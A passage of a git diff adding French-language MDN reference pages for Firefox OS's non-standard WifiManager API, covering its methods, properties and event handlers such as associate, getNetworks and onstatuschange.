+slug: Web/API/WifiManager/associate
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/associate
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<p>{{B2GOnlyHeader2('certified')}}</p>
+
+<p>La méthode <strong><code>associate</code></strong> est utilisée pour associer (et connecter) un appareil avec un réseau WiFi donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.associate(network);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>network</code></dt>
+ <dd>Un objet réseau fournies par les méthode {{domxref("WifiManager.getNetworks","getNetworks")}} ou {{domxref("WifiManager.getKnownNetworks","getKnownNetworks")}}.</dd>
+</dl>
+
+<p>Association d'un réseau sécurisé avec un dispositif nécessitant la mise en oeuvre de propriétés supplémentaires sur l'objet <code>network</code> est passé à la méthode:</p>
+
+<ul>
+ <li>Pour le réseau avec la méthode de chiffrement WEP:
+  <ul>
+   <li><code>wep</code> : Cette propriété doit être définie avec le bon mot de passe pour accéder au réseau.</li>
+  </ul>
+ </li>
+ <li>Pour le réseau avec la méthode de chiffrement WPA-PSK:
+  <ul>
+   <li><code>psk</code> : Cette propriété doit être définie avec le bon mot de passe pour accéder au réseau.</li>
+  </ul>
+ </li>
+ <li>Pour le réseau avec la méthode de chiffrement WPA-EAP:
+  <ul>
+   <li><code>eap</code> : Une chaîne représentant la <a class="external external-icon" href="https://fr.wikipedia.org/wiki/Extensible_Authentication_Protocol#M.C3.A9thodes" title="http://en.wikipedia.org/wiki/Extensible_Authentication_Protocol#Methods">méthode EAP</a> à utiliser.</li>
+   <li><code>password</code> : Une chaîne représentant le mot de passe pour accéder au réseau.</li>
+   <li><code>identity</code> : Une chaîne représentant l'identité pour accéder au réseau.</li>
+   <li><code>pin</code> : Une chaîne représentant le code PIN requis pour accéder au réseau.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un objet <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a> gérant le succès ou l'echec de l'opération. Une opération réussie signifie que le dispositif entre dans le <a href="https://fr.wikipedia.org/wiki/Workflow">workflow</a> de connexion au réseau fourni. Le succès ou l'échec de la connexion elle-même peuvent être suivis à travers l'événement <code><a href="https://developer.mozilla.org/fr/docs/Web/Events/statuschange">statuschange</a></code> en attachant un gestionnaire d'événements à <a href="https://developer.mozilla.org/fr/docs/Web/API/WifiManager/onstatuschange" title="Indique un écouteur d'événement pour recevoir les événements de statuschange.  Ces événements se produisent lorsque la connexion WiFi changements d'état de l'appareil."><code>WifiManager.onstatuschange</code></a>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/connection/index.html b/files/fr/web/api/wifimanager/connection/index.html
new file mode 100644
index 0000000000..928ab6af4e
--- /dev/null
+++ b/files/fr/web/api/wifimanager/connection/index.html
@@ -0,0 +1,44 @@
+---
+title: WifiManager.connection
+slug: Web/API/WifiManager/connection
+tags:
+  - API
+  - B2G
+  - Non-standard
+  - Propriété
+  - Reference
+  - WebAPI
+  - Wi-Fi
+translation_of: Archive/B2G_OS/API/WifiManager/connection
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>La valeur de la propriété <strong><code>connection</code></strong> offre le statut et le réseau actuel utilisé par l'adaptateur WiFi.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mac = navigator.mozWifiManager.connection</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Renvoie un objet avec les propriétés suivantes:</p>
+
+<dl>
+ <dt><code>status</code> {{readonlyinline}}</dt>
+ <dd>Une chaîne représentant l'état actuel de la connexion, l'un des <code>disconnected</code>, <code>connecting</code>,<code> associated</code> ou <code>connected</code> (voir {{domxref("MozWifiStatusChangeEvent.status")}} pour plus d'informations sur chacun de ces statuts).</dd>
+ <dt><code>network</code> {{readonlyinline}}</dt>
+ <dd>Un objet network représentant le réseau en cours d'utilisation ou <code>null</code> si l'appareil n'est connecté à aucun réseau (voir {{domxref("WifiManager.getNetworks()")}} pour plus d'informations).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/connectioninformation/index.html b/files/fr/web/api/wifimanager/connectioninformation/index.html
new file mode 100644
index 0000000000..0252bb7b15
--- /dev/null
+++ b/files/fr/web/api/wifimanager/connectioninformation/index.html
@@ -0,0 +1,52 @@
+---
+title: WifiManager.connectionInformation
+slug: Web/API/WifiManager/connectionInformation
+tags:
+  - API
+  - B2G
+  - Firefox OS
+  - Non-standard
+  - Propriété
+  - Reference
+  - WebAPI
+  - Wi-Fi
+translation_of: Archive/B2G_OS/API/WifiManager/connectionInformation
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>La valeur de la propriété <strong><code>connectionInformation</code></strong> fournit des informations supplémentaires sur la connexion en cours.</p>
+
+<p>La valeur de cette propriété est mise à jour chaque fois que l'événement {{event("connectionInfoUpdate")}} est déclenché.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var info = navigator.mozWifiManager.connectionInformation</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Retourne un objet avec les propriétés suivantes:</p>
+
+<dl>
+ <dt><code>signalStrength</code>{{readonlyinline}}</dt>
+ <dd>Un nombre indiquant la force absolue du signal en <a href="https://fr.wikipedia.org/wiki/DBm">dBm</a> .</dd>
+ <dt><code>relSignalStrength</code>{{readonlyinline}}</dt>
+ <dd>Un certain nombre dans l'intervalle [0, 100] indiquant la force relative du signal.</dd>
+ <dt><code>LinkSpeed</code>{{readonlyinline}}</dt>
+ <dd>Un nombre représentant la vitesse de liaison en <code>Mb/s.</code></dd>
+ <dt><code>ipAddress</code>{{readonlyinline}}</dt>
+ <dd>Une chaîne représentant l'adresse IP de l'appareil dans la <a href="https://fr.wikipedia.org/wiki/Notation_d%C3%A9cimale_%C3%A0_point">notation décimale à point</a>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiConnectionInfoEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/enabled/index.html b/files/fr/web/api/wifimanager/enabled/index.html
new file mode 100644
index 0000000000..53f046b621
--- /dev/null
+++ b/files/fr/web/api/wifimanager/enabled/index.html
@@ -0,0 +1,39 @@
+---
+title: WifiManager.enabled
+slug: Web/API/WifiManager/enabled
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/enabled
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{ B2GOnlyHeader2('certified') }}</div>
+
+<p>La valeur de la propriété <strong><code>enabled</code></strong> indique si le wifi est activé ( <code>true</code> ) ou désactivé (<code>false</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Activer ou désactiver le WiFi ne peut être fait en utilisant les <a href="https://developer.mozilla.org/fr/docs/WebAPI/Settings">paramètres API</a> pour changer le <code>wifi.enabled</code> réglage. Chaque fois que ce réglage change, l'objet<code> </code>{{domxref("WifiManager")}} enverra un événement<em> </em>{{event("enabled")}}<em> ou </em>{{event("disabled")}} Ces événements peuvent être traitées en utilisant les gestionnaires d'événements {{domxref("WifiManager.onenabled")}} et {{domxref("WifiManager.ondisabled")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var enabled = navigator.mozWifiManager.enabled</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Retourne un booléen.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+ <li><a href="/fr/docs/WebAPI/Settings">Settings API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/forget/index.html b/files/fr/web/api/wifimanager/forget/index.html
new file mode 100644
index 0000000000..a88abba4dc
--- /dev/null
+++ b/files/fr/web/api/wifimanager/forget/index.html
@@ -0,0 +1,44 @@
+---
+title: WifiManager.forget()
+slug: Web/API/WifiManager/forget
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/forget
+---
+<div>{{APIRef("Firefox OS")}} {{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>La méthode <strong><code>forget</code></strong> est utilisée pour « oublier » un réseau WiFi. Cela permettra d'éliminer le réseau de la liste des réseaux connus et de supprimer tous les paramètres de configuration liés à ce réseau.</p>
+
+<p>Si le dispositif est connecté à ce réseau, il en est déconnecté.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.forget(network);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>network</code></dt>
+ <dd>Un objet réseau fournit par les méthodes {{domxref("WifiManager.getNetworks","getNetworks")}} ou {{domxref("WifiManager.getKnownNetworks","getKnownNetworks")}}.</dd>
+</dl>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un objet <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a> gérant le succès ou l'échec de l'opération.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait pas partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li>The <a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/getknownnetworks/index.html b/files/fr/web/api/wifimanager/getknownnetworks/index.html
new file mode 100644
index 0000000000..36f48007d0
--- /dev/null
+++ b/files/fr/web/api/wifimanager/getknownnetworks/index.html
@@ -0,0 +1,35 @@
+---
+title: WifiManager.getKnownNetworks()
+slug: Web/API/WifiManager/getKnownNetworks
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/getKnownNetworks
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified') }}</div>
+
+<p>La méthode <strong><code>getKnownNetworks</code></strong> est utilisée pour récupérer la liste des réseaux WiFi connus, peu importe si ils sont disponibles ou non dans la zone entourant le dispositif. Un réseau connu est tout réseau précédemment associée au dispositif à l'aide de la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/WifiManager/associate" title="La méthode associée est utilisée pour associer (et connexion) un appareil avec un réseau WiFi donné."><code>WifiManager.associate()</code></a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.getKnownNetworks();</pre>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Elle retourne un handle <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a> de succès ou d'échec. Si l'opération est réussie, <code>result</code> est un Array d'objets <a href="https://developer.mozilla.org/fr/docs/Web/API/WifiManager/getNetworks">network</a>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/getnetworks/index.html b/files/fr/web/api/wifimanager/getnetworks/index.html
new file mode 100644
index 0000000000..bdde0246c3
--- /dev/null
+++ b/files/fr/web/api/wifimanager/getnetworks/index.html
@@ -0,0 +1,58 @@
+---
+title: WifiManager.getNetworks()
+slug: Web/API/WifiManager/getNetworks
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/getNetworks
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>La méthode <code>getNetworks</code> est utilisée pour récupérer de la liste des réseaux WiFi disponibles autour de l'appareil.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.getNetworks();</pre>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un handle <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a> de succès ou d'échec de l'opération. Si l'opération réussit, <code>result</code> est un Array d'objet {{Anch("Network")}}.</p>
+
+<h4 id="Network">Network</h4>
+
+<p>Ce sont des objets JavaScript régulières avec les propriétés suivantes:</p>
+
+<dl>
+ <dt><code>ssid</code> {{readonlyinline}}</dt>
+ <dd>Une chaîne représentant le <a href="https://fr.wikipedia.org/wiki/Service_set_identifier" title="http://en.wikipedia.org/wiki/Service_set_%28802.11_network%29">ssid</a> du réseau.</dd>
+ <dt><code>bssid</code>{{readonlyinline}}</dt>
+ <dd>Une chaîne représentant le <a href="https://fr.wikipedia.org/wiki/Service_set_identifier" title="http://en.wikipedia.org/wiki/Service_set_%28802.11_network%29">bssid</a> du réseau.</dd>
+ <dt><code>capabilities</code>{{readonlyinline}}</dt>
+ <dd>Un tableau de chaînes représentant les capacités spéciales du réseau (actuellement, seulement <code><a href="https://fr.wikipedia.org/wiki/Wi-Fi_Protected_Setup" title="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup">WPS</a></code> est pris en charge).</dd>
+ <dt><code><strong>security</strong></code>{{readonlyinline}}</dt>
+ <dd>Un tableau de chaînes représentant le modèle du réseau de sécurité (prend actuellement en charge <a href="http://fr.wikipedia.org/wiki/Wired_Equivalent_Privacy" title="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy"><code>WEP</code></a> , <a href="https://fr.wikipedia.org/wiki/Wi-Fi_Protected_Access" title="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access"><code>WPA-PSK</code></a> et <a href="https://fr.wikipedia.org/wiki/Extensible_Authentication_Protocol" title="http://en.wikipedia.org/wiki/Extensible_Authentication_Protocol"><code>WPA-EAP</code></a> ).</dd>
+ <dt><code>signalStrength</code>{{readonlyinline}}</dt>
+ <dd>Un nombre indiquant la force absolue du signal en <a href="https://fr.wikipedia.org/wiki/DBm">dBm</a> .</dd>
+ <dt><code>relSignalStrength</code>{{readonlyinline}}</dt>
+ <dd>Une valeure dans l'intervalle [0, 100] indiquant la force relative du signal.</dd>
+ <dt><code><strong>connected</strong></code>{{readonlyinline}}</dt>
+ <dd>Un booléen indiquant si l'appareil est connecté à ce réseau.</dd>
+ <dt><code><strong>known</strong></code>{{readonlyinline}}</dt>
+ <dd>Une valeur booléenne indiquant si le réseau est déjà connu par le dispositif (si il a déjà été utilisée).</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/index.html b/files/fr/web/api/wifimanager/index.html
new file mode 100644
index 0000000000..51804c74f8
--- /dev/null
+++ b/files/fr/web/api/wifimanager/index.html
@@ -0,0 +1,100 @@
+---
+title: WifiManager
+slug: Web/API/WifiManager
+translation_of: Archive/B2G_OS/API/WifiManager
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="Sommaire">Sommaire</h2>
+
+<p>Le manager Wifi (WifiManager) donne un accès aux périphriques wifi</p>
+
+<h2 id="Interface">Interface</h2>
+
+<pre>interface WifiManager {
+  readonly attribute boolean enabled;
+  readonly attribute string macAddress;
+  readonly attribute object connection;
+  readonly attribute object connectionInformation;
+
+  attribute nsIDOMEventListener onenabled;
+  attribute nsIDOMEventListener ondisabled;
+  attribute nsIDOMEventListener onstatuschange;
+  attribute nsIDOMEventListener onconnectioninfoupdate;
+  attribute nsIDOMEventListener onstationinfoupdate
+
+  DOMRequest getNetworks();
+  DOMRequest getKnownNetworks();
+  DOMRequest associate(object network);
+  DOMRequest forget(object network);
+  DOMRequest wps(object detail);
+  DOMRequest setPowerSavingMode(boolean enabled);
+  DOMRequest setStaticIpMode(object network, object info)
+};
+</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("WifiManager.enabled")}} {{readonlyinline}}</dt>
+ <dd>Un booléen qui indique si le wifi est en marche (<code>true</code>) ou pas (<code>false</code>).</dd>
+ <dt>{{domxref("WifiManager.macAddress")}} {{readonlyinline}}</dt>
+ <dd>Une chaine de caractères représentant l' <a href="http://en.wikipedia.org/wiki/MAC_address" title="http://en.wikipedia.org/wiki/MAC_address">adresse MAC </a>de l'adaptateur wifi</dd>
+ <dt>{{domxref("WifiManager.connection")}} {{readonlyinline}}</dt>
+ <dd>Un objet donnant des informations a propos de la connexion en cours (statut et réseau en cours d'utilisation).</dd>
+ <dt>{{domxref("WifiManager.connectionInformation")}} {{readonlyinline}}</dt>
+ <dd>Un objet donnant des informations supplémentaires a propos de la connexion en cours ou <code>null</code> si le périphérique n'est pas connecté en wifi.</dd>
+</dl>
+
+<h3 id="Gestion_des_évènements">Gestion des évènements</h3>
+
+<dl>
+ <dt>{{domxref("WifiManager.onenabled")}}</dt>
+ <dd>Signal {{event("enabled")}} ; Ce signal est déclenché quand le wifi est allumé.</dd>
+ <dt>{{domxref("WifiManager.ondisabled")}}</dt>
+ <dd>Signal {{event("disabled")}} ; Ce signal est déclenché quand le wifi est arrêté.</dd>
+ <dt>{{domxref("WifiManager.onstatuschange")}}</dt>
+ <dd>Signal {{event("statuschange")}} ; L'objet retourné correspondant à l'évènement est une instance de {{domxref("MozWifiStatusChangeEvent")}}.</dd>
+ <dt>{{domxref("WifiManager.connectionInfoUpdate")}}</dt>
+ <dt>{{domxref("WifiManager.onconnectionInfoUpdate")}}</dt>
+ <dt>{{domxref("WifiManager.onconnectioninfoupdate")}}</dt>
+ <dd>Signal {{event("connectioninfoupdate")}} ; Déclenché à chaque fois que les informations de connexion changent. L'objet retourné correspondant à l'évènement est une instance de {{domxref("MozWifiConnectionInfoEvent")}}.</dd>
+ <dt>{{domxref("WifiManager.onstationInfoUpdate")}}</dt>
+ <dt>{{domxref("WifiManager.onstationinfoupdate")}}</dt>
+ <dd>TBD</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("WifiManager.associate()")}}</dt>
+ <dd>Permet d'associer (et de connecter) un périphérique avec un réseau donné. Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.forget()")}}</dt>
+ <dd>permet de créer un périphérique non associé à un réseau donné. Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.getKnownNetworks()")}}</dt>
+ <dd>Permet de récupérer la liste de tous les réseaux avec lesquels le périphérique est associé. Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.getNetworks()")}}</dt>
+ <dd>Permet de récupérer la liste de tous les réseaux disponibles dans la zone couverte par le périphérique. Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.setPowerSavingMode()")}}</dt>
+ <dd>Permet à l'adaptateur wifi d'entrer/de sortir du <u>mode d'enregistrement allumé</u>  "power saving mode". Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.setStaticIpMode()")}}</dt>
+ <dd>Permet de configurer une adresse IP statique pour le périphérique dans un réseau donné. Retourne un {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("WifiManager.wps()")}}</dt>
+ <dd>Permet de connecter le périphérique à un réseau en utilisant le système réseau <a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup" title="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup">WPS</a> (si disponible). Retourne un {{domxref("DOMRequest")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Il n'y a pas de spécifications pour ce module</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.mozWifiManager","navigator.mozWifiManager")}}</li>
+ <li>{{domxref("MozWifiConnectionInfoEvent")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li>L'article à propos de l'<a href="/en-US/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">API Wifi</a></li>
+ <li>les pages ayant le Tag {{Tag("WiFi")}}</li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/macaddress/index.html b/files/fr/web/api/wifimanager/macaddress/index.html
new file mode 100644
index 0000000000..9c930a0548
--- /dev/null
+++ b/files/fr/web/api/wifimanager/macaddress/index.html
@@ -0,0 +1,34 @@
+---
+title: WifiManager.macAddress
+slug: Web/API/WifiManager/macAddress
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/macAddress
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{ B2GOnlyHeader2('certified') }}</div>
+
+<p>La valeur de la propriété <code>macAddress</code> est l'<a href="https://fr.wikipedia.org/wiki/Adresse_MAC">adresse MAC</a> fournie par l'adaptateur wifi.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mac = navigator.mozWifiManager.macAddress</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Retourne une chaîne.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/onconnectioninfoupdate/index.html b/files/fr/web/api/wifimanager/onconnectioninfoupdate/index.html
new file mode 100644
index 0000000000..887dac48dc
--- /dev/null
+++ b/files/fr/web/api/wifimanager/onconnectioninfoupdate/index.html
@@ -0,0 +1,33 @@
+---
+title: WifiManager.onconnectioninfoupdate
+slug: Web/API/WifiManager/onconnectioninfoupdate
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/onconnectioninfoupdate
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>Pointe vers un écouteur d'événement pour recevoir l'événement {{event("connectioninfoupdate")}}. Ces événements se produisent lorsque les informations de connexion WiFi de l'appareil change.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.mozWifiManager.onconnectioninfoupdate = <em>funcRef</em></pre>
+
+<p>Où <code><em>f</em></code><code><em>uncRef</em></code> est une fonction à appeler lorsque l'événement {{event("connectioninfoupdate")}} se produit. Cette fonction de rappel reçoit un objet<code> </code>{{domxref("MozWifiConnectionInfoEvent")}} comme premier paramètre.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiConnectionInfoEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/ondisabled/index.html b/files/fr/web/api/wifimanager/ondisabled/index.html
new file mode 100644
index 0000000000..c853d8d328
--- /dev/null
+++ b/files/fr/web/api/wifimanager/ondisabled/index.html
@@ -0,0 +1,32 @@
+---
+title: WifiManager.ondisabled
+slug: Web/API/WifiManager/ondisabled
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/ondisabled
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<p>{{B2GOnlyHeader2('certified')}}</p>
+
+<p>Pointe sur un écouteur d'événement pour recevoir l'événement {{event("disabled")}}. Cet événement se produit lorsque la WiFi de l'appareil est éteinte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.mozWifiManager.ondisabled = funcRef</pre>
+
+<p>Où <code><em>funcRef</em></code> est une fonction à appeler lorsque l'événement {{event("disabled")}} se produit.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/onenabled/index.html b/files/fr/web/api/wifimanager/onenabled/index.html
new file mode 100644
index 0000000000..b0ca2ac382
--- /dev/null
+++ b/files/fr/web/api/wifimanager/onenabled/index.html
@@ -0,0 +1,32 @@
+---
+title: WifiManager.onenabled
+slug: Web/API/WifiManager/onenabled
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/onenabled
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{ B2GOnlyHeader2('certified') }}</div>
+
+<p>Pointe sur un écouteur d'événement pour recevoir l'événement {{event("enabled")}}. Cet événement se produit lorsque la WiFi de l'appareil est allumée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.mozWifiManager.onenabled = funcRef</pre>
+
+<p>Où <code><em>funcRef</em></code> est une fonction à appeler lorsque l'événement {{event("enabled")}} se produit.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/onstatuschange/index.html b/files/fr/web/api/wifimanager/onstatuschange/index.html
new file mode 100644
index 0000000000..fa27f2742b
--- /dev/null
+++ b/files/fr/web/api/wifimanager/onstatuschange/index.html
@@ -0,0 +1,33 @@
+---
+title: WifiManager.onstatuschange
+slug: Web/API/WifiManager/onstatuschange
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/onstatuschange
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>Pointe sur un écouteur d'événement pour recevoir l'événement {{event("statuschange")}}. Cet événement se produit lorsque la connexion WiFi change d'état.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.mozWifiManager.onstatuschange = funcRef</pre>
+
+<p>Où <code><em>funcRef</em></code> est une fonction à appeler lorsque l'événement {{event("statuschange")}} se produit. Cette fonction de rappel reçoit un objet {{domxref("MozWifiStatusChangeEvent")}} comme premier paramètre.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li>{{domxref("MozWifiStatusChangeEvent")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/setpowersavingmode/index.html b/files/fr/web/api/wifimanager/setpowersavingmode/index.html
new file mode 100644
index 0000000000..5735b5944a
--- /dev/null
+++ b/files/fr/web/api/wifimanager/setpowersavingmode/index.html
